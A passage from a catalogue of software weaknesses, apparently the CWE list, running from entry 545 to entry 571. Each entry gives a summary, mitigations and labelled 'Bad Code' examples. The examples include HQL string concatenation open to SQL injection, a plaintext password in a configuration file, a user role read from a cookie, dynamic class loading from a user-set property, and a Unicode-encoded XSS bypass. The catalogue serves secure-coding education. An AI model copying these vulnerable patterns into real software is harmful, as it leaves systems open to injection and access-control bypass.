Add error handling mechanisms to your code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	388	Error Handling	**699**	413
ChildOf	C	746	CERT C Secure Coding Section 12 - Error Handling (ERR)	**734**	730

Nature	Type	ID	Name	V	Page
ChildOf	WC	755	Improper Handling of Exceptional Conditions	1000	734

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	ERR00-C	Adopt and implement a consistent and comprehensive error-handling policy

CWE-545: Use of Dynamic Class Loading

Weakness ID: 545 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Dynamically loaded code has the potential to be malicious.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

The code below dynamically loads a class using the Java Reflection API.

Java Example: *Bad Code*

```
String className = System.getProperty("customClassName");
Class clazz = Class.forName(className);
```

Potential Mitigations

Avoid the use of class loading as it greatly complicates code analysis. If the application requires dynamic class loading, it should be well understood and documented. All classes that may be loaded should be predefined and avoid the use of dynamically created classes from byte arrays.

Other Notes

The class loader executes the static initializers when the class is loaded. A malicious attack may be hidden in the static initializer and therefore does not require the execution of a specific method. An attack may also be hidden in any other method in the dynamically loaded code. The use of dynamic code could also enable an attacker to insert an attack into an application after it has been deployed. The attack code would not be in the baseline, but loaded dynamically while the application is running.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	485	Insufficient Encapsulation	699 1000	508

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-546: Suspicious Comment

Weakness ID: 546 *(Weakness Variant)* **Status:** Draft

Description

Summary

The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.

Extended Description

Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.

Time of Introduction

- Implementation

Demonstrative Examples

The following excerpt demonstrates the use of a suspicious comment in an imcomplete code block that may have security repercussions.

Java Example: *Bad Code*

```
if (user == null) {
  // TODO: Handle null user condition.
}
```

Potential Mitigations

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	398	Indicator of Poor Code Quality	**699** **1000**	423

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-547: Use of Hard-coded, Security-relevant Constants

Weakness ID: 547 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.

Extended Description

If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.

Time of Introduction

- Implementation

Demonstrative Examples

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

C/C++ Example: *Bad Code*

```
char buffer[1024];
...
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurences, in this example it could lead to a buffer overflow.

C/C++ Example: *Bad Code*

```
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
```

```
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

Potential Mitigations

Avoid using hard-coded constants. Configuration files offer a more flexible solution.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	398	Indicator of Poor Code Quality	**699 1000**	423
ChildOf	Category	736	CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)	**734**	725

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	DCL06-C	Use meaningful symbolic constants to represent literal values in program logic

CWE-548: Information Leak Through Directory Listing

Weakness ID: 548 *(Weakness Variant)* **Status:** Draft

Description

Summary

A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.

Time of Introduction

- Implementation
- Operation

Potential Mitigations

Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.

Other Notes

A directory listing provides an attacker with the complete index of all the resources located inside of the directory. Such an exposure can lead to an attacker gaining access to source code, providing useful information for the attacker to devise exploits. The directory listing may also compromise private or confidential data. The specific risks and consequences vary depending on the specific files that are listed and accessible.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	538	File and Directory Information Leaks	**699 1000**	546
ChildOf	Weakness	552	Files or Directories Accessible to External Parties	1000	555
ChildOf	Category	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Anonymous Tool Vendor (under NDA)			
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

CWE-549: Missing Password Field Masking

Weakness ID: 549 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software fails to mask passwords during entry, increasing the potential for attackers to observe and capture passwords.

Time of Introduction

- Implementation

Potential Mitigations

Recommendations include requiring all password fields in your web application be masked to prevent other users from seeing this information.

Other Notes

Basic web application security measures include masking all passwords entered by a user when logging in to a web application. Normally, each character in a password entered by a user is instead represented with an asterisk.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	255	Credentials Management	**699**	279
ChildOf	C	355	User Interface Security Issues	699	377
ChildOf	Wa	522	Insufficiently Protected Credentials	1000	537
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	**1000**	658

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-550: Information Leak Through Server Error Message

Weakness ID: 550 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Certain conditions, such as network failure, will cause a server error message to be displayed.

Extended Description

While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.

Time of Introduction

- Implementation

Potential Mitigations

Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wa	210	Product-Generated Error Message Information Leak	**699** **1000**	241
CanAlsoBe	Wa	211	Product-External Error Message Information Leak	1000	241

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

Weakness ID: 551 *(Weakness Base)* **Status:** Incomplete

Description

Summary

If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.

Time of Introduction

- Implementation

Demonstrative Examples

For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.

Potential Mitigations

URL Inputs should be decoded and canonicalized to the application's current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	287	Improper Authentication	**699** 1000	312
ChildOf	Wc	696	Incorrect Behavior Order	**1000**	686
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-552: Files or Directories Accessible to External Parties

Weakness ID: 552 *(Weakness Base)* **Status:** Draft

Description

Summary

Files or directories are accessible in the environment that should not be.

Time of Introduction

- Implementation
- Operation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	Environment	**699**	1
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	**1000**	658
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728
ParentOf	Wv	*527*	*Information Leak Through CVS Repository*	*699 1000*	*540*
ParentOf	Wv	*528*	*Information Leak Through Core Dump Files*	*699 1000*	*541*
ParentOf	Wv	*529*	*Information Leak Through Access Control List Files*	*699 1000*	*542*

Nature	Type	ID	Name	V	Page
ParentOf	WW	*530*	*Information Leak Through Backup (.~bk) Files*	*1000*	*542*
ParentOf	WW	*531*	*Information Leak Through Test Code*	*699 1000*	*543*
ParentOf	WW	*532*	*Information Leak Through Log Files*	*699 1000*	*543*
ParentOf	WW	*533*	*Information Leak Through Server Log Files*	*699*	*544*
ParentOf	WW	*534*	*Information Leak Through Debug Log Files*	*699*	*544*
ParentOf	WW	*540*	*Information Leak Through Source Code*	*699 1000*	*548*
ParentOf	WW	*541*	*Information Leak Through Include Source Code*	*699 1000*	*548*
ParentOf	WW	*542*	*Information Leak Through Cleanup Log Files*	*699*	*549*
ParentOf	WW	*548*	*Information Leak Through Directory Listing*	*1000*	*553*
ParentOf	WW	*553*	*Command Shell in Externally Accessible Directory*	***699 1000***	*556*

Affected Resources

- File/Directory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT C Secure Coding	FIO15-C		Ensure that file operations are performed in a secure directory

CWE-553: Command Shell in Externally Accessible Directory

Weakness ID: 553 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.

Time of Introduction

- Implementation
- Operation

Potential Mitigations

Verify the deployment of the application. Check that no directory listing is exposing the file system.

Perform input data validation before doing path resolution.

Remove any Shells accessible under the web root folder and children directories.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	552	Files or Directories Accessible to External Parties	**699 1000**	555

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework

Weakness ID: 554 *(Weakness Variant)* **Status:** Draft

Description

Summary

The ASP.NET application does not use an input validation framework.

Extended Description

Unchecked input is the leading cause of vulnerabilities in ASP.NET applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- .NET

Potential Mitigations

Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that: - Phone number fields contain only valid characters in phone numbers - Boolean values are only "T" or "F" - Free-form strings are of a reasonable length and composition

Other Notes

In certain versions of ASP.Net, there is an input validation error that allows a malicious user to input some ASCII characters in a special Unicode encoding in the range ff00 to ff60. When the response encoding is not Unicode, these characters are decoded to their ASCII values, and this way can be used to launch cross site scripting attacks. The relevant Unicode strings are %uff1c, which is decoded to <, and %uff1e, which is decoded to >.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	10	ASP.NET Environment Issues	699	6
ChildOf	WC	20	Improper Input Validation	**699 1000**	14

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File

Weakness ID: 555 *(Weakness Variant)* **Status:** Draft

Description

Summary

The J2EE application stores a plaintext password in a configuration file.

Extended Description

Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers

Time of Introduction

- Architecture and Design
- Implementation

Demonstrative Examples

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

Java Example: *Bad Code*

```
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
```

Potential Mitigations

Do not hardwire passwords into your software.

Good password management guidelines require that a password never be stored in plaintext.

Use industry standard libraries to encrypt passwords before storage in configuration files.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	4	J2EE Environment Issues	**699**	1
ChildOf	Wk	522	Insufficiently Protected Credentials	**1000**	537

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

Weakness ID: 556 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

Extended Description

The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.

Time of Introduction

- Implementation
- Operation

Potential Mitigations

Use the least privilege principle.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	10	ASP.NET Environment Issues	**699**	6
ChildOf	Wk	266	Incorrect Privilege Assignment	**1000**	291
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-557: Concurrency Issues

Category ID: 557 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to concurrent use of shared resources.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	382
CanAlsoBe	Wc	362	Race Condition	1000	383
PeerOf	C	371	State Issues	1000	397
ParentOf	Wk	*366*	*Race Condition within a Thread*	*699*	*390*
ParentOf	Wv	*558*	*Use of getlogin() in Multithreaded Application*	***699***	*559*
ParentOf	Wk	*567*	*Unsynchronized Access to Shared Data*	***699***	*566*
ParentOf	Wv	*572*	*Call to Thread run() instead of start()*	*699*	*569*

CWE-558: Use of getlogin() in Multithreaded Application

Weakness ID: 558 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.

Extended Description

The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Demonstrative Examples

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

Bad Code

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
  allow();
} else {
  deny();
}
```

Potential Mitigations

Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

Use getlogin_r() instead, which is reentrant, meaning that other processes are locked out from changing the username.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	227	Failure to Fulfill API Contract ('API Abuse')	**700**	254
ChildOf	C	557	Concurrency Issues	**699**	558
ChildOf	W	663	Use of a Non-reentrant Function in an Unsynchronized Context	**1000**	651

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-559: Often Misused: Arguments and Parameters

Category ID: 559 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper use of arguments or parameters within function calls.

Other Notes

This category is closely related to CWE-628, Incorrectly Specified Arguments, and might be the same. However, CWE-628 is a base weakness, not a category.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	227	Failure to Fulfill API Contract ('API Abuse')	**699**	254
ParentOf	Wv	*560*	*Use of umask() with chmod-style Argument*	***699***	*560*
ParentOf	We	*628*	*Function Call with Incorrectly Specified Arguments*	***699***	*612*

CWE-560: Use of umask() with chmod-style Argument

Weakness ID: 560 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C

Potential Mitigations

Use umask() with the correct argument.

If you suspect misuse of umask(), you can use grep to spot call instances of umask().

Other Notes

The umask() man page begins with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The umask() man page goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	559	Often Misused: Arguments and Parameters	**699**	559
ChildOf	Wv	687	Function Call With Incorrectly Specified Argument Value	**1000**	678

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-561: Dead Code

Weakness ID: 561 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains dead code, which can never be executed.

Extended Description

Dead code is source code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.

Time of Introduction

- Implementation

Demonstrative Examples

Example 1:

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null, while on the only path where s can be assigned a non-null value there is a return statement.

Bad Code

```
String s = null;
if (b) {
  s = "Yes";
  return;
}
if (s != null) {
  Dead();
}
```

Example 2:

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

Bad Code

```
public class DoubleDead {
  private void doTweedledee() {
    doTweedledumb();
  }
  private void doTweedledumb() {
    doTweedledee();
  }
  public static void main(String[] args) {
    System.out.println("running DoubleDead");
  }
}
```

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

Example 3:

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

Bad Code

```
public class Dead {
  String glue;
  public String getGlue() {
    return "glue";
  }
}
```

Potential Mitigations

Remove dead code before deploying the application.

Use a static analysis tool to spot dead code.

Other Notes

Dead code can lead to confusion during code maintenance and result in unrepaired vulnerabilities.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	398	Indicator of Poor Code Quality	**699 1000**	423
ChildOf	C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	**734**	730
ParentOf	WV	*570*	*Expression is Always False*	***699 1000***	*567*
ParentOf	WV	*571*	*Expression is Always True*	***699 1000***	*568*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	MSC07-C	Detect and remove dead code

CWE-562: Return of Stack Variable Address

Weakness ID: 562 *(Weakness Base)* **Status:** Draft

Description

Summary

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Demonstrative Examples

The following function returns a stack address.

Bad Code

```
char* getName() {
  char name[STR_MAX];
  fillInName(name);
  return name;
}
```

Potential Mitigations

Use static analysis tools to spot return of the address of a stack variable.

Other Notes

Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced. The problem can be hard to debug because the cause of the problem is often far removed from the symptom.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	398	Indicator of Poor Code Quality	**699** 1000	423
ChildOf	WB	672	Use of a Resource after Expiration or Release	**1000**	660
ChildOf	C	748	CERT C Secure Coding Section 50 - POSIX (POS)	**734**	731

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	POS34-C	Do not call putenv() with a pointer to an automatic variable as the argument

CWE-563: Unused Variable

Weakness ID: 563 *(Weakness Variant)* **Status:** Draft

Description

Summary

The variable's value is assigned but never used, making it a dead store.

Extended Description

It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.

Time of Introduction

- Implementation

Demonstrative Examples

The following code excerpt assigns to the variable r and then overwrites the value without using it.

Bad Code

```
r = getName();
r = getNewBuffer(buf);
```

Potential Mitigations

Remove unused variables from the code.

Other Notes

This variable's value is not used. After the assignment, the variable is either assigned another value or goes out of scope.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	398	Indicator of Poor Code Quality	**699** **1000**	423
ChildOf	C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	**734**	730

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	MSC00-C	Compile cleanly at high warning levels

CWE-564: SQL Injection: Hibernate

Weakness ID: 564 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

Time of Introduction

- Architecture and Design
- Implementation

Demonstrative Examples

The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

Java Example:

Bad Code

```
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street='" + street + "'");
```

Potential Mitigations

Requirements specification: A non-SQL style database which is not subject to this flaw may be chosen.

Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

Architecture and Design

Duplicate any filtering done on the client-side on the server side.

Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

Implementation

Use vigorous white-list style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	89	Failure to Preserve SQL Query Structure ('SQL Injection')	**699** **1000**	99

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-565: Use of Cookies in Security Decision

Weakness ID: 565 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software relies on the existence or values of cookies when making a security decision.

Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can lead to problems like SQL injection and other errors.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Authorization

It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.

Demonstrative Examples

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Java Example: *Bad Code*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("role")) {
    userRole = c.getValue();
  }
}
```

Potential Mitigations

Architecture and Design

Avoid using cookie data for a security-related decision.

Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Architecture and Design

Add integrity checks to detect tampering.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	**699**	279
ChildOf		642	External Control of Critical State Data	**1000**	625
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	658
ChildOf		693	Protection Mechanism Failure	1000	684

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
31	Accessing/Intercepting/Modifying HTTP Cookies	
39	Manipulating Opaque Client-based Data Tokens	

CWE-566: Access Control Bypass Through User-Controlled SQL Primary Key

Weakness ID: 566 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Without proper access control, executing a SQL statement that contains a user-controlled primary key can allow an attacker to view unauthorized records.

Time of Introduction

- Architecture and Design
- Implementation

Demonstrative Examples

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

Bad Code

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has failed to consider all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

Potential Mitigations

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

Use a parametized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.

Other Notes

Database access control errors occur when: 1. Data enters a program from an untrusted source. 2. The data is used to specify the value of a primary key in a SQL query.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	639	Access Control Bypass Through User-Controlled Key	**699** **1000**	621

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-567: Unsynchronized Access to Shared Data

Weakness ID: 567 *(Weakness Base)* **Status:** Draft

Description

Summary

The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

Java Example:

```
public static class Counter extends HttpServlet {
  static int count = 0;
  protected void doGet(HttpServletRequest in, HttpServletResponse out)
  throws ServletException, IOException {
    out.setContentType("text/plain");
    PrintWriter p = out.getWriter();
    count++;
    p.println(count + " hits so far!");
  }
}
```

Potential Mitigations

A shared variable vulnerability can be prevented by removing the use of static variables used between servlets or to provide protection when shared access is absolutely needed. In this case, access should be synchronized.

Other Notes

The vulnerability can exist in servlets because a servlet is multi-threaded, and shared static variables are not protected from concurrent access. This is a typical programming mistake in J2EE applications, since the multi-threading is handled by the framework. The use of shared variables can be exploited by attackers to gain information or to cause denial of service conditions. If this shared data contains sensitive information, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	WM	488	Data Leak Between Sessions	1000	511
ChildOf	P	557	Concurrency Issues	**699**	558
ChildOf	We	662	Insufficient Synchronization	**1000**	651

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
25	Forced Deadlock	

CWE-568: finalize() Method Without super.finalize()

Weakness ID: 568 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains a finalize() method that does not call super.finalize().

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

The following method omits the call to super.finalize().

Java Example: *Bad Code*

```
protected void finalize() {
  discardNative();
}
```

Potential Mitigations

Call the super.finalize() method.

Use static analysis tools to spot such issues in your code.

Other Notes

The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize()

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		399	Resource Management Errors	**699**	424
ChildOf		404	Improper Resource Shutdown or Release	**1000**	431
ChildOf		573	Failure to Follow Specification	1000	570

CWE-569: Expression Issues

Category ID: 569 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to incorrectly written expressions within code.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		398	Indicator of Poor Code Quality	**699**	423
ParentOf		*480*	*Use of Incorrect Operator*	***699***	*503*
ParentOf		*481*	*Assigning instead of Comparing*	***699***	*504*
ParentOf		*482*	*Comparing instead of Assigning*	***699***	*505*
ParentOf		*570*	*Expression is Always False*	*699*	*567*
ParentOf		*571*	*Expression is Always True*	*699*	*568*
ParentOf		*588*	*Attempt to Access Child of a Non-structure Pointer*	*699*	*579*
ParentOf		*595*	*Comparison of Object References Instead of Object Contents*	***699***	*585*
ParentOf		*596*	*Incorrect Semantic Object Comparison*	***699***	*585*

CWE-570: Expression is Always False

Weakness ID: 570 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains an expression that will always evaluate to false.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

The following method never sets the variable secondCall after initializing it to false. (The variable firstCall is mistakenly used twice.) The result is that the expression firstCall & secondCall will always evaluate to false, so setUpDualCall() will never be invoked.

Bad Code

```
public void setUpCalls() {
  boolean firstCall = false;
  boolean secondCall = false;
  if (fCall > 0) {
    setUpFCall();
    firstCall = true;
  }
  if (sCall > 0) {
    setUpSCall();
    firstCall = true;
  }
  if (firstCall && secondCall) {
    setUpDualCall();
  }
}
```

Potential Mitigations

Use Static Analysis tools to spot such conditions.

Other Notes

This expression will always evaluate to false meaning the program could be rewritten in a simpler form. The nearby code may be present for debugging purposes, or it may not have been maintained along with the rest of the program. The expression may also be indicative of a bug earlier in the method.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WW	561	Dead Code	**699** **1000**	560
ChildOf	C	569	Expression Issues	699	567
ChildOf	C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	**734**	730

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MSC00-C	Compile cleanly at high warning levels

CWE-571: Expression is Always True

Weakness ID: 571 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains an expression that will always evaluate to true.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

The following method never sets the variable secondCall after initializing it to true. (The variable firstCall is mistakenly used twice.) The result is that the expression firstCall || secondCall will always evaluate to true, so setUpDualCall() will always be invoked.

Bad Code

```
public void setUpCalls() {
  boolean firstCall = false;
  boolean secondCall = false;
  if (fCall > 0) {
    setUpFCall();
    firstCall = true;
  }
  if (sCall > 0) {
    setUpSCall();
    firstCall = true;
  }
  if (firstCall || secondCall) {
    setUpForCall();
  }
}
```

Potential Mitigations

Use Static Analysis tools to spot such conditions.

Other Notes

